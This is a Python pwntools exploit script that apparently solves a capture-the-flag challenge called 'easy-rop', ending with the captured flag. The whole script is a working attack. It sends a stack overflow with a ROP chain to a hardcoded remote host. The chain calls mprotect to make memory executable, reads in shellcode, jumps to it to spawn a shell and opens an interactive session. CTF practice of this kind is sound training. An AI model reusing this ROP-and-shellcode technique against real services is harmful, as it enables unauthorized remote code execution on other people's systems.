#!/usr/bin/python3

from pwn import *

#io = process("./easy-rop")
io = remote("65.1.92.179", 49153)
elf = ELF("./easy-rop")

context.clear(arch="amd64")


pop_rdi = 0x040191a
pop_rdx = 0x040181f
pop_rsi = 0x040f4be
address = 0x04c2220
ret = 0x040101a

txt = "Let us know your name:"

shellcode = asm(shellcraft.amd64.linux.sh())


def craft_payload():
        payload = b"A"*72
        payload += p64(pop_rdi)
        payload += p64(address &~ 0xfff)
        payload += p64(pop_rsi)
        payload += p64(0xfff)
        payload += p64(pop_rdx)
        payload += p64(0x7)
        payload += p64(elf.sym.mprotect) # change the protection
        payload += p64(pop_rdi)
        payload += p64(address)
        payload += p64(elf.sym.gets) #get the shellcode
        payload += p64(ret)
        payload += p64(address) #return to the address to execute shellcode
        return payload


def main():
        payload = craft_payload()
        io.sendlineafter(txt, payload)
        io.sendline(shellcode)
        io.interactive()


if __name__ == "__main__":
        main()
        
        
#darkCON{w0nd3rful_m4k1n9_sh3llc0d3_us1n9_r0p!!!}
